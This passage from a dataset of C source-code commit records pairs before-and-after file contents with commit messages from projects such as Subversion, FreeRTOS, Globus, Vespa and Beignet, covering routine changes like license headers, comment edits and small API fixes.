constants\n","lang":"C","license":"mit","repos":"gldraphael\/SdlTemplate"}
{"commit":"76f99cdff282275195f86b132b2daab6470900df","old_file":"CreamMonkey.h","new_file":"CreamMonkey.h","old_contents":"#import <Cocoa\/Cocoa.h>\n\n\n@interface CreamMonkey : NSObject {\n}\n\n@end\n","new_contents":"\/*\n * Copyright (c) 2006 KATO Kazuyoshi <kzys@8-p.info>\n * This source code is released under the MIT license.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface CreamMonkey : NSObject {\n}\n\n@end\n","subject":"Add copyright and license header.","message":"Add copyright and license header.\n","lang":"C","license":"mit","repos":"kzys\/greasekit,sohocoke\/greasekit,tbodt\/greasekit,chrismessina\/greasekit"}
{"commit":"181aa9e0febf808f95718c3eea1f74d9fdc0086c","old_file":"QtVmbViewer.h","new_file":"QtVmbViewer.h","old_contents":"#ifndef QTVMBVIEWER_H\n#define QTVMBVIEWER_H\n\n\/\/ Qt dependencies\n#include <QWidget>\n#include <QLabel>\n#include <QSlider>\n\/\/ Local dependency\n#include \"VmbCamera.h\"\n\n\/\/ Qt widget to display the images from an Allied Vision camera through the Vimba SDK\nclass QtVmbViewer : public QWidget {\n\t\/\/ Macro to use Qt signals and slots\n\tQ_OBJECT\n\t\/\/ Public members\n\tpublic :\n\t\t\/\/ Constructor\n\t\tQtVmbViewer( QWidget *parent = 0 );\n\t\t\/\/ Destructor\n\t\t~QtVmbViewer();\n\t\/\/ Qt slots\n\tpublic slots :\n\t\t\/\/ Slot to get the image from the camera and update the widget\n\t\tvoid UpdateImage();\n\t\t\/\/ Slot to update the camera exposure\n\t\tvoid SetExposure();\n\t\/\/ Private members\n\tprivate :\n\t\t\/\/ Label to display the camera image\n\t\tQLabel* label;\n\t\t\/\/ Slider to set the camera exposure time\n\t\tQSlider* slider;\n\t\t\/\/ Allied Vision camera\n\t\tVmbCamera* camera;\n};\n\n#endif \/\/ QTVMBVIEWER_H\n","new_contents":"#ifndef QTVMBVIEWER_H\n#define QTVMBVIEWER_H\n\n\/\/ Qt dependencies\n#include <QWidget>\n#include <QLabel>\n#include <QSlider>\n\/\/ Local dependency\n#include \"VmbCamera.h\"\n\n\/\/ Qt widget to display the images from an Allied Vision camera through the Vimba SDK\nclass QtVmbViewer : public QWidget {\n\t\/\/ Macro to use Qt signals and slots\n\tQ_OBJECT\n\t\/\/ Public members\n\tpublic :\n\t\t\/\/ Constructor\n\t\tQtVmbViewer( QWidget *parent = 0 );\n\t\t\/\/ Destructor\n\t\t~QtVmbViewer();\n\t\/\/ Qt slots\n\tprivate slots :\n\t\t\/\/ Slot to get the image from the camera and update the widget\n\t\tvoid UpdateImage();\n\t\t\/\/ Slot to update the camera exposure\n\t\tvoid SetExposure();\n\t\/\/ Private members\n\tprivate :\n\t\t\/\/ Label to display the camera image\n\t\tQLabel* label;\n\t\t\/\/ Slider to set the camera exposure time\n\t\tQSlider* slider;\n\t\t\/\/ Allied Vision camera\n\t\tVmbCamera* camera;\n};\n\n#endif \/\/ QTVMBVIEWER_H\n","subject":"Change to private Qt slots.","message":"Change to private Qt slots.\n","lang":"C","license":"mit","repos":"microy\/QtVmbViewer"}
{"commit":"0374498753335e45920f20c1a3b224f430bb82f1","old_file":"Sources\/Faraday.h","new_file":"Sources\/Faraday.h","old_contents":"\/* Faraday Faraday.h\n *\n * Copyright © 2015, 2016, Roy Ratcliffe, Pioneering Software, United Kingdom\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the “Software”), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in\n *  all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED “AS IS,” WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO\n * EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\n * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\n ******************************************************************************\/\n\n#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double FaradayVersionNumber;\nFOUNDATION_EXPORT const unsigned char FaradayVersionString[];\n","new_contents":"\/* Faraday Faraday.h\n *\n * Copyright © 2015, 2016, Roy Ratcliffe, Pioneering Software, United Kingdom\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the “Software”), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in\n *  all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED “AS IS,” WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO\n * EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\n * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\n ******************************************************************************\/\n\n@import Foundation;\n\nFOUNDATION_EXPORT double FaradayVersionNumber;\nFOUNDATION_EXPORT const unsigned char FaradayVersionString[];\n","subject":"Use @import in Objective-C header","message":"Use @import in Objective-C header\n","lang":"C","license":"mit","repos":"royratcliffe\/Faraday,royratcliffe\/Faraday"}
{"commit":"c7e71ee6111ca152d16c317965ffb29a404ad4c4","old_file":"test\/wasm\/soft\/float\/floatunditf.c","new_file":"test\/wasm\/soft\/float\/floatunditf.c","old_contents":"","new_contents":"#include \"src\/math\/reinterpret.h\"\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t __fixunstfdi(long double);\n\nstatic _Bool run(uint64_t a)\n{\n    return a == __fixunstfdi(a);\n}\n\nint main(void)\n{\n    const uint64_t delta = 0x0008D46BA87B5A22;\n\n    for (uint64_t i = 0x3FFFFFFFFFFFFFFF; i < 0x4340000000000000; i += delta)\n        assert(run(reinterpret(double, i)));\n\n    for (uint64_t i = 0; i <= UINT64_MAX \/ delta; ++i)\n        assert(run(i * delta));\n}\n","subject":"Test uint64_t -> long double","message":"Test uint64_t -> long double\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"908a9539d9beb242ab247b290a118dd1c1e6414f","old_file":"backend\/src\/libocl\/tmpl\/ocl_defines.tmpl.h","new_file":"backend\/src\/libocl\/tmpl\/ocl_defines.tmpl.h","old_contents":"","new_contents":"#ifndef __OCL_COMMON_DEF_H__\n#define __OCL_COMMON_DEF_H__\n\n#define __OPENCL_VERSION__ 110\n#define __CL_VERSION_1_0__ 100\n#define __CL_VERSION_1_1__ 110\n#define __ENDIAN_LITTLE__ 1\n#define __IMAGE_SUPPORT__ 1\n#define __kernel_exec(X, TYPE) __kernel __attribute__((work_group_size_hint(X,1,1))) \\\n                                        __attribute__((vec_type_hint(TYPE)))\n#define kernel_exec(X, TYPE) __kernel_exec(X, TYPE)\n#define cl_khr_global_int32_base_atomics\n#define cl_khr_global_int32_extended_atomics\n#define cl_khr_local_int32_base_atomics\n#define cl_khr_local_int32_extended_atomics\n#define cl_khr_byte_addressable_store\n#define cl_khr_icd\n#define cl_khr_gl_sharing\n\n#endif \/* end of __OCL_COMMON_DEF_H__ *\/\n","subject":"Add the ocl_defines header file into libocl","message":"Add the ocl_defines header file into libocl\n\nThis file will be used to define some common defines\nfor both CL and the backend source code.\n\nSigned-off-by: Junyan He <8f73a735c668918c9613b750d3a88ebf2489599f@linux.intel.com>\nReviewed-by: Zhigang Gong <e04a7b9b70b1e4c6318cf117dcd1a9056e14b97a@intel.com>\n","lang":"C","license":"lgpl-2.1","repos":"wdv4758h\/beignet,wdv4758h\/beignet,zhenyw\/beignet,zhenyw\/beignet,wdv4758h\/beignet,freedesktop-unofficial-mirror\/beignet,zhenyw\/beignet,zhenyw\/beignet,freedesktop-unofficial-mirror\/beignet,wdv4758h\/beignet,freedesktop-unofficial-mirror\/beignet,freedesktop-unofficial-mirror\/beignet,zhenyw\/beignet,wdv4758h\/beignet"}
{"commit":"bae6f787c319c9b2cafba0e5fd0027c5d3903fc6","old_file":"src\/gluonvarianttypes.h","new_file":"src\/gluonvarianttypes.h","old_contents":"\/*\n<one line to give the program's name and a brief idea of what it does.>\nCopyright (C) <year>  <name of author>\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\/\/\/TODO: Make this something entirely different... QVariant wrapped Eigen types, wooh! ;)\n\n#ifndef GLUON_VARIANTTYPES\n#define GLUON_VARIANTTYPES\n\n#ifndef EIGEN_CORE_H\n#warning This needs to be included AFTER Eigen and friends\n#endif\n\n#include <QVariant>\n#include <Eigen\/Geometry>\n\nQ_DECLARE_METATYPE(Eigen::Vector3d)\n\/\/qRegisterMetatype<Eigen::Vector3d>(\"Eigen::Vector3d\");\n\n#endif","new_contents":"\/*\n<one line to give the program's name and a brief idea of what it does.>\nCopyright (C) <year>  <name of author>\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\/\/\/TODO: Make this something entirely different... QVariant wrapped Eigen types, wooh! ;)\n\n#ifndef GLUON_VARIANTTYPES\n#define GLUON_VARIANTTYPES\n\n#include <QVariant>\n#include <QMetaType>\n#include <Eigen\/Geometry>\n\nQ_DECLARE_METATYPE(Eigen::Vector3d)\n\nnamespace\n{\n    struct GluonVariantTypes\n    {\n        public:\n            GluonVariantTypes()\n            {\n                qRegisterMetaType<Eigen::Vector3d>(\"Eigen::Vector3d\");\n            }\n    };\n\n    GluonVariantTypes gluonVariantTypes;\n}\n#endif","subject":"Make the varianttypes work more pleasantly - now you simply include the file, and stuff happens magically! (that is, Eigen::Vector3d is registered as a QVariant now... more to come!)","message":"Make the varianttypes work more pleasantly - now you simply include the file, and stuff happens magically! (that is, Eigen::Vector3d is registered as a QVariant now... more to come!)\n","lang":"C","license":"lgpl-2.1","repos":"pranavrc\/example-gluon,cgaebel\/gluon,cgaebel\/gluon,cgaebel\/gluon,pranavrc\/example-gluon,KDE\/gluon,KDE\/gluon,KDE\/gluon,pranavrc\/example-gluon,pranavrc\/example-gluon,cgaebel\/gluon,KDE\/gluon"}
{"commit":"66e5d79b94fc671581ad3ca63630d9462831a6fa","old_file":"libyaul\/scu\/scu-internal.h","new_file":"libyaul\/scu\/scu-internal.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#ifndef _SCU_INTERNAL_H_\n#define _SCU_INTERNAL_H_\n\n#include <inttypes.h>\n#include <stddef.h>\n\n\/* Write and read directly to specified address *\/\n#define MEMORY_WRITE(t, x, y)   (*(volatile uint ## t ## _t *)(x) = (y))\n#define MEMORY_READ(t, x)       (*(volatile uint ## t ## _t *)(x))\n\n\/* Macros specific for processor *\/\n#define SCU(x)          (0x25FE0000 + (x))\n#define CS0(x)          (0x22400000 + (x))\n#define CS1(x)          (0x24000000 + (x))\n#define DUMMY(x)        (0x25000000 + (x))\n\n\/* SCU *\/\n#define D0R     0x0000\n#define D0W     0x0004\n#define D0C     0x0008\n#define D0AD    0x000C\n#define D0EN    0x0010\n#define D0MD    0x0014\n#define D1R     0x0020\n#define D1W     0x0024\n#define D1C     0x0028\n#define D1AD    0x002C\n#define D1EN    0x0030\n#define D1MD    0x0034\n#define D2R     0x0040\n#define D2W     0x0044\n#define D2C     0x0048\n#define D2AD    0x004C\n#define D2EN    0x0050\n#define D2MD    0x0054\n#define DSTA    0x007C\n#define PPAF    0x0080\n#define PPD     0x0084\n#define PDA     0x0088\n#define PDD     0x008C\n#define T0C     0x0090\n#define T1S     0x0094\n#define T1MD    0x0098\n#define IMS     0x00A0\n#define IST     0x00A4\n#define AIACK   0x00A8\n#define ASR0    0x00B0\n#define ASR1    0x00B4\n#define AREF    0x00B8\n#define RSEL    0x00C4\n#define VER     0x00C8\n\n#endif \/* !_SCU_INTERNAL_H_ *\/\n","subject":"Add global SCU internal header file","message":"Add global SCU internal header file\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"64dfbcfad0d2b4820c53110f9622ab6ca726a123","old_file":"gram\/rsl_assist\/source\/globus_rsl_assist.h","new_file":"gram\/rsl_assist\/source\/globus_rsl_assist.h","old_contents":"\/******************************************************************************\nglobus_rsl_assist.h\n\nDescription:\n    This header contains the interface prototypes for the rsl_assist library.\n    \nCVS Information:\n \n    $Source$\n    $Date$\n    $Revision$\n    $Author$\n******************************************************************************\/\n#ifndef _GLOBUS_RSL_ASSIST_INCLUDE_GLOBUS_RSL_ASSIST_H_\n#define _GLOBUS_RSL_ASSIST_INCLUDE_GLOBUS_RSL_ASSIST_H_\n\n#ifndef EXTERN_C_BEGIN\n#ifdef __cplusplus\n#define EXTERN_C_BEGIN extern \"C\" {\n#define EXTERN_C_END }\n#else\n#define EXTERN_C_BEGIN\n#define EXTERN_C_END\n#endif\n#endif\n\n#include \"globus_common.h\"\n#include \"globus_rsl.h\"\n\nchar*\nglobus_rsl_assist_get_rm_contact(char* resource);\nint\nglobus_rsl_assist_replace_manager_name(globus_rsl_t * rsl);\n\n#endif\n","new_contents":"\/*\n * globus_rsl_assist.h\n *\n * Description:\n *\n *   This header contains the interface prototypes for the rsl_assist library.\n *   \n * CVS Information:\n *\n * $Source$\n * $Date$\n * $Revision$\n * $Author$\n******************************************************************************\/\n#ifndef _GLOBUS_RSL_ASSIST_INCLUDE_GLOBUS_RSL_ASSIST_H_\n#define _GLOBUS_RSL_ASSIST_INCLUDE_GLOBUS_RSL_ASSIST_H_\n\n#ifndef EXTERN_C_BEGIN\n#ifdef __cplusplus\n#define EXTERN_C_BEGIN extern \"C\" {\n#define EXTERN_C_END }\n#else\n#define EXTERN_C_BEGIN\n#define EXTERN_C_END\n#endif\n#endif\n\n#include \"globus_common.h\"\n#include \"globus_rsl.h\"\n\nchar*\nglobus_rsl_assist_get_rm_contact(char* resource);\nint\nglobus_rsl_assist_replace_manager_name(globus_rsl_t * rsl);\n\n#endif\n","subject":"Make comment conform to coding standard...","message":"Make comment conform to coding standard...\n","lang":"C","license":"apache-2.0","repos":"gridcf\/gct,globus\/globus-toolkit,globus\/globus-toolkit,gridcf\/gct,globus\/globus-toolkit,globus\/globus-toolkit,globus\/globus-toolkit,ellert\/globus-toolkit,gridcf\/gct,gridcf\/gct,ellert\/globus-toolkit,ellert\/globus-toolkit,ellert\/globus-toolkit,ellert\/globus-toolkit,gridcf\/gct,globus\/globus-toolkit,gridcf\/gct,globus\/globus-toolkit,globus\/globus-toolkit,ellert\/globus-toolkit,ellert\/globus-toolkit,ellert\/globus-toolkit"}
{"commit":"593c4ae13535e52dab15af80618dbee90a4f818c","old_file":"tests\/regression\/29-svcomp\/04-lustre-minimal.c","new_file":"tests\/regression\/29-svcomp\/04-lustre-minimal.c","old_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.def_exc\n\/\/ issue #120\n#include <assert.h>\n\nint main() {\n    \/\/ should be LP64\n    unsigned long n = 16;\n    unsigned long size = 4912;\n\n    assert(!(0xffffffffffffffffUL \/ size < n)); \/\/ UNKNOWN (for now)\n}","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.def_exc\n\/\/ issue #120\n#include <assert.h>\n\nint main() {\n    \/\/ should be LP64\n    unsigned long n = 16;\n    unsigned long size = 4912;\n\n    assert(!(0xffffffffffffffffUL \/ size < n));\n}\n","subject":"Remove UNKNOWN annotation from assert that now succeeds","message":"Testcase: Remove UNKNOWN annotation from assert that now succeeds\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d14bbc3782514a0488f776807005e40db82cc70f","old_file":"subversion\/libsvn_ra\/util.c","new_file":"subversion\/libsvn_ra\/util.c","old_contents":"","new_contents":"\/*\n * util.c:  Repository access utility routines.\n *\n * ====================================================================\n * Copyright (c) 2007 CollabNet.  All rights reserved.\n *\n * This software is licensed as described in the file COPYING, which\n * you should have received as part of this distribution.  The terms\n * are also available at http:\/\/subversion.tigris.org\/license-1.html.\n * If newer versions of this license are posted there, you may use a\n * newer version instead, at your option.\n *\n * This software consists of voluntary contributions made by many\n * individuals.  For exact contribution history, see the revision\n * history and logs, available at http:\/\/subversion.tigris.org\/.\n * ====================================================================\n *\/\n\n\/* ==================================================================== *\/\n\f\n\/*** Includes. ***\/\n#include <apr_pools.h>\n\n#include \"svn_types.h\"\n#include \"svn_error.h\"\n#include \"svn_error_codes.h\"\n#include \"svn_ra.h\"\n\n#include \"svn_private_config.h\"\n\n\n\/* Return an error with code SVN_ERR_UNSUPPORTED_FEATURE, and an error\n   message referencing PATH_OR_URL, if the \"server\" pointed to be\n   RA_SESSION doesn't support Merge Tracking (e.g. is pre-1.5).\n   Perform temporary allocations in POOL. *\/\nsvn_error_t *\nsvn_ra__assert_mergeinfo_capable_server(svn_ra_session_t *ra_session,\n                                        const char *path_or_url,\n                                        apr_pool_t *pool)\n{\n  svn_boolean_t mergeinfo_capable;\n  SVN_ERR(svn_ra_has_capability(ra_session, &mergeinfo_capable,\n                                SVN_RA_CAPABILITY_MERGEINFO, pool));\n  if (! mergeinfo_capable)\n    {\n      if (path_or_url == NULL)\n        {\n          svn_error_t *err = svn_ra_get_session_url(ra_session, &path_or_url,\n                                                    pool);\n          if (err)\n            {\n              \/* The SVN_ERR_UNSUPPORTED_FEATURE error is more important,\n                 so dummy up the session's URL and chuck this error. *\/\n              svn_error_clear(err);\n              path_or_url = \"<repository>\";\n            }\n        }\n      return svn_error_createf(SVN_ERR_UNSUPPORTED_FEATURE, NULL,\n                               _(\"Retrieval of mergeinfo unsupported by '%s'\"),\n                               svn_path_local_style(path_or_url, pool));\n    }\n  return SVN_NO_ERROR;\n}\n","subject":"Make 'svn mergeinfo' and its underlying APIs error out when talking to a pre-1.5 repository.","message":"Make 'svn mergeinfo' and its underlying APIs error out when talking to\na pre-1.5 repository.\n\nThis change includes tests capable of being run against either a 1.4\nor 1.5 server (and was run against both).\n\n[ Note: All but subversion\/libsvn_ra\/util.c was committed in r28172. ]\n\n\n* TODO-1.5-branch\n  Remove TODO item completed by this commit.\n\n* subversion\/include\/svn_client.h\n  (svn_client_mergeinfo_get_merged, svn_client_mergeinfo_get_available):\n   Document that an error with the code SVN_ERR_UNSUPPORTED_FEATURE is\n   returned when the server doesn't support Merge Tracking.\n\n* subversion\/include\/svn_ra.h\n  (svn_ra_get_mergeinfo): Ditto, with note about inapplicability to\n   ra_local.\n\n* subversion\/include\/private\/svn_ra_private.h\n  Add new Subversion-private header file, which currently declares\n  only the svn_ra__assert_mergeinfo_capable_server() API.\n\n* subversion\/libsvn_client\/mergeinfo.h\n  (svn_client__get_repos_mergeinfo): Add SQUELCH_INCAPABLE parameter, used\n   to ignore a SVN_ERR_UNSUPPORTED_FEATURE returned by a server that\n   doesn't support Merge Tracking.\n\n* subversion\/libsvn_client\/mergeinfo.c\n  Include private\/svn_ra_private.h.\n  (svn_client__get_repos_mergeinfo): Add SQUELCH_INCAPABLE parameter, used\n   to ignore a SVN_ERR_UNSUPPORTED_FEATURE returned by a server that\n   doesn't support Merge Tracking.\n  (svn_client__get_wc_or_repos_mergeinfo): Adjust for\n   svn_client__get_repos_mergeinfo() API change.\n  (get_mergeinfo): Return an error if the server doesn't support Merge\n   Tracking.  Improve APR pool usage.\n  (svn_client_mergeinfo_get_available): Call get_mergeinfo() first to\n   leverage its new server Merge Tracking capabilities check.\n\n* subversion\/libsvn_client\/copy.c\n  (calculate_target_mergeinfo): Adjust for svn_client__get_repos_mergeinfo()\n   API change\n\n* subversion\/libsvn_client\/merge.c\n  (filter_reflected_revisions): Ditto.\n\n* subversion\/libsvn_ra\/ra_loader.c\n  Include private\/svn_ra_private.h.\n  (svn_ra_get_mergeinfo): Return an error if the server doesn't\n   support Merge Tracking.\n\n* subversion\/libsvn_ra\/util.c\n  Add new Subversion-private header file, which currently defines\n  only the svn_ra__assert_mergeinfo_capable_server() API.\n\n* subversion\/libsvn_ra_svn\/client.c\n  (ra_svn_get_mergeinfo): Remove SVN_RA_SVN_CAP_MERGEINFO capabilities\n   check, which is now handled by ra_loader.c.\n\n* subversion\/libsvn_ra_neon\/mergeinfo.c\n  (svn_ra_neon__get_mergeinfo)))): Don't squelch a 501 HTTP status\n   code (which is otherwise subsequently converted into an\n   svn_error_t) encountered while making a mergeinfo REPORT request.\n\n* subversion\/libsvn_ra_serf\/mergeinfo.c\n  (svn_ra_serf__get_mergeinfo): Don't squelch an SVN_ERR_UNSUPPORTED_FEATURE\n   error encountered while making a mergeinfo REPORT request.\n\n* subversion\/tests\/cmdline\/mergeinfo_tests.py\n  Import the server_has_mergeinfo() function.\n  (adjust_error_for_server_version): Add a new function that returns\n   the expected error regexp appropriate for the server version used by\n   the test suite.\n  (no_mergeinfo): Leverage adjust_error_for_server_version(), and\n   adjust for run_and_verify_mergeinfo() API changes.\n  (mergeinfo): Provide a very basic implementation of the test.\n\n* subversion\/tests\/cmdline\/svntest\/actions.py\n  (run_and_verify_mergeinfo): Replace EXPECTED_PATHS, EXPECTED_SOURCE_PATHS,\n   and EXPECTED_ELIGIBLE_REVS parameters with EXPECTED_OUTPUT, which is a\n   dict of the format:\n     { path : { source path : (merged ranges, eligible ranges) } }\n   Correct\/add parser expectations, adjust for parser API changes, and\n   re-implement function accordingly.  Be sure to bail out early if a\n   1.4 server is detected.\n\n* subversion\/tests\/cmdline\/svntest\/parsers.py\n  (MergeinfoReportParser): Add a comment showing some sample output.\n  (MergeinfoReportParser.STATE_MERGED_RANGES,\n   MergeinfoReportParser.STATE_ELIGIBLE_RANGES): Add new constants,\n   the latter a replacement for STATE_ELIGIBLE_REVS.\n  (MergeinfoReportParser.STATE_TRANSITIONS): Correct\/add possible\n   state transitions.\n  (MergeinfoReportParser.STATE_TOKENS): Correct\/add tokens present in\n   the output.\n  (MergeinfoReportParser.__init__): Replace \"paths\", \"source_paths\",\n   and \"eligible_revs\" instance members with \"report\" dict.  Add\n   \"cur_target_path\" and \"cur_source_path\" members to maintain some\n   necessary parser state.  Replace \"state_to_storage\" dict with\n   \"parser_callbacks\" dict of callback functions.\n  (parsed_target_path, parsed_source_path, parsed_merged_ranges,\n   parsed_eligible_ranges): Add parser callback functions invoked from\n   the \"parser_callbacks\" dict.\n  (parse): Replace use of \"state_to_storage\" with \"parser_callbacks\".\n","lang":"C","license":"apache-2.0","repos":"jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion"}
{"commit":"84d607040b1df3b151aabb226122bc2d29f2d74a","old_file":"document\/src\/vespa\/document\/repo\/document_type_repo_factory.h","new_file":"document\/src\/vespa\/document\/repo\/document_type_repo_factory.h","old_contents":"\/\/ Copyright 2018 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <memory>\n#include <mutex>\n#include <map>\n\nnamespace document {\n\nnamespace internal {\n    class InternalDocumenttypesType;\n}\n\nclass DocumentTypeRepo;\n\n\/*\n * Factory class for document type repos. Same instance is returned\n * for equal config.\n *\/\nclass DocumentTypeRepoFactory {\n    using DocumenttypesConfig = const internal::InternalDocumenttypesType;\n    struct DocumentTypeRepoEntry {\n        std::weak_ptr<const DocumentTypeRepo> repo;\n        std::unique_ptr<const DocumenttypesConfig> config;\n\n        DocumentTypeRepoEntry(std::weak_ptr<const DocumentTypeRepo> repo_in,\n                      std::unique_ptr<const DocumenttypesConfig> config_in)\n            : repo(std::move(repo_in)),\n              config(std::move(config_in))\n        {\n        }\n    };\n    using DocumentTypeRepoMap = std::map<const void *, DocumentTypeRepoEntry>;\n    class Deleter;\n\n    static std::mutex _mutex;\n    static DocumentTypeRepoMap _repos;\n\n    static void deleteRepo(DocumentTypeRepo *repoRawPtr) noexcept;\npublic:\n    static std::shared_ptr<const DocumentTypeRepo> make(const DocumenttypesConfig &config);\n};\n\n}\n","new_contents":"\/\/ Copyright 2018 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <memory>\n#include <mutex>\n#include <map>\n\nnamespace document {\n\nnamespace internal {\n    class InternalDocumenttypesType;\n}\n\nclass DocumentTypeRepo;\n\n\/*\n * Factory class for document type repos. Same instance is returned\n * for equal config.\n *\/\nclass DocumentTypeRepoFactory {\n    using DocumenttypesConfig = const internal::InternalDocumenttypesType;\n    struct DocumentTypeRepoEntry {\n        std::weak_ptr<const DocumentTypeRepo> repo;\n        std::unique_ptr<const DocumenttypesConfig> config;\n\n        DocumentTypeRepoEntry(std::weak_ptr<const DocumentTypeRepo> repo_in,\n                      std::unique_ptr<const DocumenttypesConfig> config_in)\n            : repo(std::move(repo_in)),\n              config(std::move(config_in))\n        {\n        }\n    };\n    using DocumentTypeRepoMap = std::map<const void *, DocumentTypeRepoEntry>;\n    class Deleter;\n\n    static std::mutex _mutex;\n    static DocumentTypeRepoMap _repos;\n\n    static void deleteRepo(DocumentTypeRepo *repoRawPtr) noexcept;\npublic:\n    \/*\n     * Since same instance is returned for equal config, we return a shared\n     * pointer to a const repo.  The repo should be considered immutable.\n     *\/\n    static std::shared_ptr<const DocumentTypeRepo> make(const DocumenttypesConfig &config);\n};\n\n}\n","subject":"Add comment for document::DocumentTypeRepoFactory::make method.","message":"Add comment for document::DocumentTypeRepoFactory::make method.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"0ed54c92c849c3c62f6a61877472f1495ecd2025","old_file":"Demo\/ARM7_LPC2368_Eclipse\/RTOSDemo\/webserver\/EMAC_ISR.c","new_file":"Demo\/ARM7_LPC2368_Eclipse\/RTOSDemo\/webserver\/EMAC_ISR.c","old_contents":"#include \"FreeRTOS.h\"\r\n#include \"Semphr.h\"\r\n#include \"task.h\"\r\n\r\n\/* The interrupt entry point. *\/\r\nvoid vEMAC_ISR_Wrapper( void ) __attribute__((naked));\r\n\r\n\/* The handler that does the actual work. *\/\r\nvoid vEMAC_ISR_Handler( void );\r\n\r\nextern xSemaphoreHandle xEMACSemaphore;\r\n\r\n\r\nvoid vEMAC_ISR_Handler( void )\r\n{\r\nportBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;\r\n\r\n    \/* Clear the interrupt. *\/\r\n    MAC_INTCLEAR = 0xffff;\r\n    VICVectAddr = 0;\r\n\r\n    \/* Ensure the uIP task is not blocked as data has arrived. *\/\r\n    xSemaphoreGiveFromISR( xEMACSemaphore, &xHigherPriorityTaskWoken );\r\n\r\n\tif( xHigherPriorityTaskWoken )\r\n    {\r\n    \t\/* Giving the semaphore woke a task. *\/\r\n        portYIELD_FROM_ISR();\r\n    }\r\n}\r\n\/*-----------------------------------------------------------*\/\r\n\r\nvoid vEMAC_ISR_Wrapper( void )\r\n{\r\n\t\/* Save the context of the interrupted task. *\/\r\n    portSAVE_CONTEXT();\r\n    \r\n    \/* Call the handler.  This must be a separate function unless you can\r\n    guarantee that no stack will be used. *\/\r\n    vEMAC_ISR_Handler();\r\n    \r\n    \/* Restore the context of whichever task is going to run next. *\/\r\n    portRESTORE_CONTEXT();\r\n}\r\n\r\n","new_contents":"#include \"FreeRTOS.h\"\r\n#include \"semphr.h\"\r\n#include \"task.h\"\r\n\r\n\/* The interrupt entry point. *\/\r\nvoid vEMAC_ISR_Wrapper( void ) __attribute__((naked));\r\n\r\n\/* The handler that does the actual work. *\/\r\nvoid vEMAC_ISR_Handler( void );\r\n\r\nextern xSemaphoreHandle 